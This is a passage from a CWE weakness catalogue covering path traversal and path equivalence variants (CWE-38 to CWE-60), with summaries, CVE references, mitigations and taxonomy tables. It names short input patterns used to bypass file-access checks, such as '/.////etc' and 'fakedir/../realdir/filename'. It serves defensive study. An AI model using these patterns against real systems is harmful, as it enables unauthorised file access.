Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WE	36	Absolute Path Traversal	**699** **1000**	38
ChildOf	WV	160	Improper Sanitization of Leading Special Elements	1000	188
ChildOf	C	743	CERT C Secure Coding Section 09 - Input Output (FIO)	**734**	728

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		/absolute/pathname/here
CERT C Secure Coding	FIO05-C	Identify files using multiple file attributes

CWE-38: Path Traversal: '\absolute\pathname\here'

Weakness ID: 38 *(Weakness Variant)* **Status:** Draft

Description

Summary

A software system that accepts input in the form of a backslash absolute path ('\absolute \pathname\here') without appropriate validation can allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-1999-1263	
CVE-2002-1525	
CVE-2003-0753	

Potential Mitigations

Assume all input is malicious. Attackers can insert paths into input vectors and traverse the file system. Use an appropriate combination of black lists and white lists to ensure only valid and expected input is processed by the system. Warning: if you attempt to cleanse your data, then do so that the end result is not in the form that can be dangerous. A sanitizing mechanism can remove characters such as '.' and ';' which may be required for some exploits. An attacker can try to fool the sanitizing mechanism into "cleaning" data into a dangerous form. Suppose the attacker injects a '.' inside a filename (e.g. "sensi.tiveFile") and the sanitizing mechanism removes the character resulting in the valid filename, "sensitiveFile". If the input data are now assumed to be safe, then the file may be compromised. See CWE-182 (Collapse of Data Into Unsafe Value).

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy. Input (specifically, unexpected CRLFs) that is not appropriate should not be processed into HTTP headers.

Use and specify a strong input/output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	W	36	Absolute Path Traversal	**699 1000**	38
ChildOf	C	743	CERT C Secure Coding Section 09 - Input Output (FIO)	**734**	728

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		\absolute\pathname\here ('backslash absolute path')
CERT C Secure Coding	FIO05-C	Identify files using multiple file attributes

CWE-39: Path Traversal: 'C:dirname'

Weakness ID: 39 *(Weakness Variant)* **Status:** Draft

Description

Summary

An attacker can inject a drive letter or Windows volume letter ('C:dirname') into a software system to potentially redirect access to an unintended location or arbitrary file.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2001-0038	
CVE-2001-0255	
CVE-2001-0687	
CVE-2001-0933	
CVE-2002-0466	
CVE-2002-1483	
CVE-2004-2488	FTP server read/access arbitrary files using "C:\" filenames

Potential Mitigations

Assume all input is malicious. Attackers can insert paths into input vectors and traverse the file system. Use an appropriate combination of black lists and white lists to ensure only valid and expected input is processed by the system. Warning: if you attempt to cleanse your data, then do so that the end result is not in the form that can be dangerous. A sanitizing mechanism can remove characters such as '.' and ';' which may be required for some exploits. An attacker can try to fool the sanitizing mechanism into "cleaning" data into a dangerous form. Suppose the attacker injects a '.' inside a filename (e.g. "sensi.tiveFile") and the sanitizing mechanism removes the character resulting in the valid filename, "sensitiveFile". If the input data are now assumed to be safe, then the file may be compromised. See CWE-182 (Collapse of Data Into Unsafe Value).

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy. Input (specifically, unexpected CRLFs) that is not appropriate should not be processed into HTTP headers.

Use and specify a strong input/output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	W	36	Absolute Path Traversal	**699** **1000**	38
ChildOf	C	743	CERT C Secure Coding Section 09 - Input Output (FIO)	**734**	728

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		'C:dirname' or C: (Windows volume or 'drive letter')
CERT C Secure Coding	FIO05-C	Identify files using multiple file attributes

CWE-40: Path Traversal: '\\UNC\share\name\' (Windows UNC Share)

Weakness ID: 40 *(Weakness Variant)* **Status:** Draft

Description

Summary

An attacker can inject a Windows UNC share ('\\UNC\share\name') into a software system to potentially redirect access to an unintended location or arbitrary file.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2001-0687	

Potential Mitigations

Assume all input is malicious. Attackers can insert paths into input vectors and traverse the file system. Use an appropriate combination of black lists and white lists to ensure only valid and expected input is processed by the system. Warning: if you attempt to cleanse your data, then do so that the end result is not in the form that can be dangerous. A sanitizing mechanism can remove characters such as '.' and ';' which may be required for some exploits. An attacker can try to fool the sanitizing mechanism into "cleaning" data into a dangerous form. Suppose the attacker injects a '.' inside a filename (e.g. "sensi.tiveFile") and the sanitizing mechanism removes the character resulting in the valid filename, "sensitiveFile". If the input data are now assumed to be safe, then the file may be compromised. See CWE-182 (Collapse of Data Into Unsafe Value).

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy. Input (specifically, unexpected CRLFs) that is not appropriate should not be processed into HTTP headers.

Use and specify a strong input/output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	W	36	Absolute Path Traversal	**699** **1000**	38

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	'\\UNC\share\name\' (Windows UNC share)

CWE-41: Failure to Resolve Path Equivalence

Weakness ID: 41 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The system or application is vulnerable to file system contents disclosure through path equivalence. Path equivalence involves the use of special characters in file and directory names. The associated manipulations are intended to generate multiple names for the same object.

Extended Description

Path equivalence is usually employed in order to circumvent access controls expressed using an incomplete set of file name or file path representations. This is different from path traversal, wherein the manipulations are performed to generate a name for a different object.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Potential Mitigations

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy. Input (specifically, unexpected CRLFs) that is not appropriate should not be processed into HTTP headers.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Other Notes

Some of these manipulations could be effective in path traversal issues, too.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	21	Pathname Traversal and Equivalence Errors	**699**	21
ChildOf	C	632	Weaknesses that Affect Files or Directories	**631**	615
ChildOf	Wc	706	Use of Incorrectly-Resolved Name or Reference	**1000**	708
ChildOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	**711**	716
ChildOf	C	743	CERT C Secure Coding Section 09 - Input Output (FIO)	**734**	728
CanFollow	Wc	*20*	*Improper Input Validation*	*1000*	*14*
ParentOf	Wv	*42*	*Path Equivalence: 'filename.' (Trailing Dot)*	***699 1000***	*45*
ParentOf	Wv	*44*	*Path Equivalence: 'file.name' (Internal Dot)*	***699 1000***	*46*
ParentOf	Wv	*46*	*Path Equivalence: 'filename ' (Trailing Space)*	***699 1000***	*47*
ParentOf	Wv	*47*	*Path Equivalence: ' filename (Leading Space)*	***699 1000***	*47*
ParentOf	Wv	*48*	*Path Equivalence: 'file name' (Internal Whitespace)*	***699 1000***	*48*
ParentOf	Wv	*49*	*Path Equivalence: 'filename/' (Trailing Slash)*	***699 1000***	*49*
ParentOf	Wv	*50*	*Path Equivalence: '//multiple/leading/slash'*	***699 1000***	*49*
ParentOf	Wv	*51*	*Path Equivalence: '/multiple//internal/slash'*	***699 1000***	*50*
ParentOf	Wv	*52*	*Path Equivalence: '/multiple/trailing/slash//'*	***699 1000***	*50*
ParentOf	Wv	*53*	*Path Equivalence: '\multiple\\internal\backslash'*	***699 1000***	*51*
ParentOf	Wv	*54*	*Path Equivalence: 'filedir\' (Trailing Backslash)*	***699 1000***	*51*
ParentOf	Wv	*55*	*Path Equivalence: '/./' (Single Dot Directory)*	***699 1000***	*52*
ParentOf	Wv	*56*	*Path Equivalence: 'filedir*' (Wildcard)*	***699 1000***	*53*
ParentOf	Wv	*57*	*Path Equivalence: 'fakedir/../realdir/filename'*	***699 1000***	*53*
ParentOf	Wv	*58*	*Path Equivalence: Windows 8.3 Filename*	***699 1000***	*54*
CanFollow	Wc	*73*	*External Control of File Name or Path*	*1000*	*67*
CanFollow	Wc	*172*	*Encoding Error*	*1000*	*200*

Affected Resources

- File/Directory

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Path Equivalence
CERT C Secure Coding	FIO02-C	Canonicalize path names originating from untrusted sources

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters
4	Using Alternative IP Address Encodings

CWE-42: Path Equivalence: 'filename.' (Trailing Dot)

Weakness ID: 42 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

A software system that accepts path input in the form of trailing dot ('filedir.') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2000-1114	Source code disclosure using trailing dot
CVE-2000-1133	Bypass directory access restrictions using trailing dot in URL
CVE-2001-1386	Bypass check for ".lnk" extension using ".lnk."
CVE-2002-1986,	Source code disclosure using trailing dot
CVE-2004-0061	Bypass directory access restrictions using trailing dot in URL
CVE-2004-2213	Source code disclosure using trailing dot
CVE-2005-3293	Source code disclosure using trailing dot

Potential Mitigations

see the vulnerability category "Path Equivalence"

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WE	41	Improper Resolution of Path Equivalence	**699 1000**	43
ChildOf	WV	162	Improper Sanitization of Trailing Special Elements	1000	190
ParentOf	WV	*43*	*Path Equivalence: 'filename....' (Multiple Trailing Dot)*	***699 1000***	*45*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Trailing Dot - 'filedir.'

CWE-43: Path Equivalence: 'filename....' (Multiple Trailing Dot)

Weakness ID: 43 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

A software system that accepts path input in the form of multiple trailing dot ('filedir....') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
BUGTRAQ:20040205	Apache + Resin Reveals JSP Source Code ...
CVE-2004-0281	Multiple trailing dot allows directory listing

Potential Mitigations

see the vulnerability category "Pathname Traversal and Equivalence Errors"

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WW	42	Path Equivalence: 'filename.' (Trailing Dot)	**699 1000**	45
ChildOf	WW	163	Improper Sanitization of Multiple Trailing Special Elements	1000	190

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Multiple Trailing Dot - 'filedir....'

CWE-44: Path Equivalence: 'file.name' (Internal Dot)

Weakness ID: 44 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

A software system that accepts path input in the form of internal dot ('file.ordir') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Potential Mitigations

see the vulnerability category "Path Equivalence"

Other Notes

This variant does not have any easily findable, publicly reported vulnerabilities, but it can be an effective manipulation in weaknesses such as validate-before-cleanse, which might remove a dot from a string to produce an unexpected string.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wa	41	Improper Resolution of Path Equivalence	**699 1000**	43
ParentOf	WW	*45*	*Path Equivalence: 'file...name' (Multiple Internal Dot)*	***699 1000***	*46*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Internal Dot - 'file.ordir'

CWE-45: Path Equivalence: 'file...name' (Multiple Internal Dot)

Weakness ID: 45 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

A software system that accepts path input in the form of multiple internal dot ('file...dir') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Potential Mitigations

see the vulnerability category "Path Equivalence"

Other Notes

This variant does not have any easily findable, publicly reported vulnerabilities, but it can be an effective manipulation in weaknesses such as validate-before-cleanse, which might use a regular expression that removes ".." sequences from a string to produce an unexpected string.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WW	44	Path Equivalence: 'file.name' (Internal Dot)	**699 1000**	46
ChildOf	WW	165	Improper Sanitization of Multiple Internal Special Elements	1000	192

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Multiple Internal Dot - 'file...dir'

CWE-46: Path Equivalence: 'filename ' (Trailing Space)

Weakness ID: 46 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

A software system that accepts path input in the form of trailing space ('filedir ') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2001-0054	Multi-Factor Vulnerability (MVF). directory traversal and other issues in FTP server using Web encodings such as "%20"; certain manipulations have unusual side effects.
CVE-2001-0693	Source disclosure via trailing encoded space "%20"
CVE-2001-0778	Source disclosure via trailing encoded space "%20"
CVE-2001-1248	Source disclosure via trailing encoded space "%20"
CVE-2002-1451	Trailing space ("+" in query string) leads to source code disclosure.
CVE-2002-1603	Source disclosure via trailing encoded space "%20"
CVE-2004-0280	Source disclosure via trailing encoded space "%20"
CVE-2004-2213	Source disclosure via trailing encoded space "%20"
CVE-2005-0622	Source disclosure via trailing encoded space "%20"
CVE-2005-1656	Source disclosure via trailing encoded space "%20"

Potential Mitigations

see the vulnerability category "Path Equivalence"

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WB	41	Improper Resolution of Path Equivalence	**699 1000**	43
ChildOf	WW	162	Improper Sanitization of Trailing Special Elements	1000	190
CanPrecede	WW	289	Authentication Bypass by Alternate Name	1000	315

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Trailing Space - 'filedir '

CWE-47: Path Equivalence: ' filename (Leading Space)

Weakness ID: 47 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

A software system that accepts path input in the form of leading space (' filedir') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Potential Mitigations

see the vulnerability category "Path Equivalence"

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	41	Improper Resolution of Path Equivalence	**699** **1000**	43

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Leading Space - ' filedir'

CWE-48: Path Equivalence: 'file name' (Internal Whitespace)

Weakness ID: 48 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

A software system that accepts path input in the form of internal space ('file(SPACE)name') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2000-0293	Filenames with spaces allow arbitrary file deletion when the product does not properly quote them; some overlap with path traversal.
CVE-2001-1567	"+" characters in query string converted to spaces before sensitive file/extension (internal space), leading to bypass of access restrictions to the file.

Potential Mitigations

see the vulnerability category "Path Equivalence"

Other Notes

This is not necessarily an equivalence issue, but it can also be used to spoof icons or conduct information hiding via information truncation (see user interface errors).

This weakness is likely to overlap quoting problems, e.g. the "Program Files" untrusted search path variants. It also could be an equivalence issue if filtering removes all extraneous spaces.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	41	Improper Resolution of Path Equivalence	**699** **1000**	43

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			file(SPACE)name (internal space)
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service

CWE-49: Path Equivalence: 'filename/' (Trailing Slash)

Weakness ID: 49 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

A software system that accepts path input in the form of trailing slash ('filedir/') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Time of Introduction

- Implementation
- Operation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
BID:3518	
CVE-2001-0446	
CVE-2001-0892	
CVE-2001-0893	Read sensitive files with trailing "/"
CVE-2002-0253	Overlaps infoleak
CVE-2004-0334	Bypass Basic Authentication for files using trailing "/"
CVE-2004-1101	Failure to handle filename request with trailing "/" causes multiple consequences, including server crash and a Visual Basic error message that enables XSS and information leak.
CVE-2004-1814	

Potential Mitigations

see the vulnerability category "Path Equivalence"

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	41	Improper Resolution of Path Equivalence	**699 1000**	43
ChildOf	Wv	162	Improper Sanitization of Trailing Special Elements	1000	190

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	filedir/ (trailing slash, trailing /)

CWE-50: Path Equivalence: '//multiple/leading/slash'

Weakness ID: 50 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

A software system that accepts path input in the form of multiple leading slash ('//multiple/leading/slash') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-1999-1456	
CVE-2000-1050	Access directory using multiple leading slash.
CVE-2001-1072	Bypass access restrictions via multiple leading slash, which causes a regular expression to fail.
CVE-2002-0275	
CVE-2002-1238	
CVE-2002-1483	
CVE-2004-0235	Archive extracts to arbitrary files using multiple leading slash in filenames in the archive.
CVE-2004-0578	
CVE-2004-1032	
CVE-2004-1878	
CVE-2005-1365	

Potential Mitigations

see the vulnerability category "Path Equivalence"

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	41	Improper Resolution of Path Equivalence	**699 1000**	43
ChildOf	Wv	161	Improper Sanitization of Multiple Leading Special Elements	1000	189

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	//multiple/leading/slash ('multiple leading slash')

CWE-51: Path Equivalence: '/multiple//internal/slash'

Weakness ID: 51 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

A software system that accepts path input in the form of multiple internal slash ('/multiple//internal/slash/') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2002-1483	Read files with full pathname using multiple internal slash.

Potential Mitigations

see the vulnerability category "Path Equivalence"

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	41	Improper Resolution of Path Equivalence	**699 1000**	43

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	/multiple//internal/slash ('multiple internal slash')

CWE-52: Path Equivalence: '/multiple/trailing/slash//'

Weakness ID: 52 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

A software system that accepts path input in the form of multiple trailing slash ('/multiple/trailing/slash//') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2002-1078	Directory listings in web server using multiple trailing slash

Potential Mitigations

see the vulnerability category "Path Equivalence"

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WB	41	Improper Resolution of Path Equivalence	**699 1000**	43
ChildOf	WV	163	Improper Sanitization of Multiple Trailing Special Elements	1000	190
CanPrecede	WV	289	Authentication Bypass by Alternate Name	1000	315

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	/multiple/trailing/slash// ('multiple trailing slash')

CWE-53: Path Equivalence: '\multiple\\internal\backslash'

Weakness ID: 53 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

A software system that accepts path input in the form of multiple internal backslash ('\multiple\trailing\\slash') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Potential Mitigations

see the vulnerability category "Path Equivalence"

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WB	41	Improper Resolution of Path Equivalence	**699 1000**	43
ChildOf	WV	165	Improper Sanitization of Multiple Internal Special Elements	1000	192

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	\multiple\\internal\backslash

CWE-54: Path Equivalence: 'filedir\' (Trailing Backslash)

Weakness ID: 54 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

A software system that accepts path input in the form of trailing backslash ('filedir\') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2004-0847	

Potential Mitigations

see the vulnerability category "Path Equivalence"

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness Base	41	Improper Resolution of Path Equivalence	**699 1000**	43
ChildOf	Weakness Variant	162	Improper Sanitization of Trailing Special Elements	1000	190

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	filedir\ (trailing backslash)

CWE-55: Path Equivalence: '/./' (Single Dot Directory)

Weakness ID: 55 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

A software system that accepts path input in the form of single dot directory exploit ('/./') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
BID:6042	
CVE-1999-1083	Possibly (could be a cleansing error)
CVE-2000-0004	
CVE-2002-0112	
CVE-2002-0304	
CVE-2004-0815	"/.////etc" cleansed to "./../etc" then "/etc"

Potential Mitigations

see the vulnerability category "Path Equivalence"

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness Base	41	Improper Resolution of Path Equivalence	**699 1000**	43

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	/./ (single dot directory)

CWE-56: Path Equivalence: 'filedir*' (Wildcard)

Weakness ID: 56 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

A software system that accepts path input in the form of asterisk wildcard ('filedir*') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2002-0433	List files in web server using "*.ext"
CVE-2004-0696	List directories using desired path and "*"

Potential Mitigations

see the vulnerability category "Path Equivalence"

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	41	Improper Resolution of Path Equivalence	**699 1000**	43
ChildOf	Wv	155	Improper Sanitization of Wildcards or Matching Symbols	1000	183

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	filedir* (asterisk / wildcard)

CWE-57: Path Equivalence: 'fakedir/../realdir/filename'

Weakness ID: 57 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software contains protection mechanisms to restrict access to 'realdir/filename', but it constructs pathnames using external input in the form of 'fakedir/../realdir/filename' that are not handled by those mechanisms. This allows attackers to perform unauthorized actions against the targeted file.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2000-0191	application check access for restricted URL before canonicalization
CVE-2001-1152	
CVE-2005-1366	CGI source disclosure using "dirname/../cgi-bin"

Potential Mitigations

see the vulnerability category "Path Equivalence"

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	41	Improper Resolution of Path Equivalence	**699 1000**	43

Theoretical Notes

This is a manipulation that uses an injection for one consequence (containment violation using relative path) to achieve a different consequence (equivalence by alternate name).

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	dirname/fakechild/../realchild/filename

CWE-58: Path Equivalence: Windows 8.3 Filename

Weakness ID: 58 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software contains a protection mechanism that restricts access to a long filename on a Windows operating system, but the software does not properly restrict access to the equivalent short "8.3" filename.

Extended Description

On later Windows operating systems, a file can have a "long name" and a short name that is compatible with older Windows file systems, with up to 8 characters in the filename and 3 characters for the extension. These "8.3" filenames, therefore, act as an alternate name for files with long names, so they are useful pathname equivalence manipulations.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Operating Systems

- Windows

Observed Examples

Reference	Description
CVE-1999-0012	Multiple web servers allow restriction bypass using 8.3 names instead of long names
CVE-2001-0795	Source code disclosure using 8.3 file name.
CVE-2005-0471	Multi-Factor Vulnerability. Product generates temporary filenames using long filenames, which become predictable in 8.3 format.

Potential Mitigations

Disable Windows from supporting 8.3 filenames by editing the Windows registry. Preventing 8.3 filenames will not remove previously generated 8.3 filenames.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WE	41	Improper Resolution of Path Equivalence	**699** **1000**	43

Research Gaps

Probably under-studied

Functional Areas

- File processing

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Windows 8.3 Filename

References

M. Howard and D. LeBlanc. "Writing Secure Code". 2nd Edition. Microsoft. 2003.

CWE-59: Failure to Resolve Links Before File Access (aka 'Link Following')

Weakness ID: 59 *(Weakness Base)* **Status:** Draft

Description

Summary

Link following weaknesses involve insufficient protection against links or shortcuts that can resolve to a file other than the one that was intended.

Alternate Terms

insecure temporary file

Some people use the phrase "insecure temporary file" when referring to a link following weakness, but other weaknesses can produce insecure temporary files without any symlink involvement at all.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Operating Systems

- Windows *(Sometimes)*
- UNIX *(Often)*

Likelihood of Exploit

Low to Medium

Potential Mitigations

Follow the principle of least privilege when assigning access rights to files. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

Other Notes

Windows soft links can be exploited remotely since a ".LNK" file can be uploaded like a normal file.

Weakness Ordinalities

Resultant *(where the weakness is typically related to the presence of some other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	21	Pathname Traversal and Equivalence Errors	**699**	21
ChildOf	C	632	Weaknesses that Affect Files or Directories	**631**	615
ChildOf	WC	706	Use of Incorrectly-Resolved Name or Reference	**1000**	708
ChildOf	C	743	CERT C Secure Coding Section 09 - Input Output (FIO)	**734**	728
ChildOf	C	748	CERT C Secure Coding Section 50 - POSIX (POS)	734	731
ParentOf	C	*60*	*UNIX Path Link Problems*	***699***	*56*
ParentOf	B	*61*	*UNIX Symbolic Link (Symlink) Following*	***1000***	*56*
ParentOf	WV	*62*	*UNIX Hard Link*	***1000***	*58*
ParentOf	C	*63*	*Windows Path Link Problems*	***699***	*59*
ParentOf	WV	*64*	*Windows Shortcut Following (.LNK)*	***1000***	*59*
ParentOf	WV	*65*	*Windows Hard Link*	***1000***	*60*
CanFollow	WC	*73*	*External Control of File Name or Path*	*1000*	*67*
CanFollow	WE	*363*	*Race Condition Enabling Link Following*	*1000*	*387*
MemberOf	V	*635*	*Weaknesses Used by NVD*	***635***	*616*

Relationship Notes

Link following vulnerabilities are Multi-factor Vulnerabilities (MFV). They are the combination of multiple elements: file or directory permissions, filename predictability, race conditions, and in some cases, a design limitation in which there is no mechanism for performing atomic file creation operations.

Some potential factors are race conditions, permissions, and predictability.

Research Gaps

UNIX hard links, and Windows hard/soft links are under-studied and under-reported.

Affected Resources

- File/Directory

Functional Areas

- File processing, temporary files

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Link Following
CERT C Secure Coding	FIO02-C	Canonicalize path names originating from untrusted sources
CERT C Secure Coding	POS01-C	Check for the existence of links when dealing with files

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
17	Accessing, Modifying or Executing Executable Files	
35	Leverage Executable Code in Nonexecutable Files	
76	Manipulating Input to File System Calls	

CWE-60: UNIX Path Link Problems

Category ID: 60 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are related to improper handling of links within Unix-based operating systems.

Applicable Platforms

Languages

- All

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WE	59	Improper Link Resolution Before File Access ('Link Following')	**699**	54
ChildOf	C	632	Weaknesses that Affect Files or Directories	**631**	615
ParentOf		*61*	*UNIX Symbolic Link (Symlink) Following*	***631*** ***699***	*56*
ParentOf	WM	*62*	*UNIX Hard Link*	***631*** ***699***	*58*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
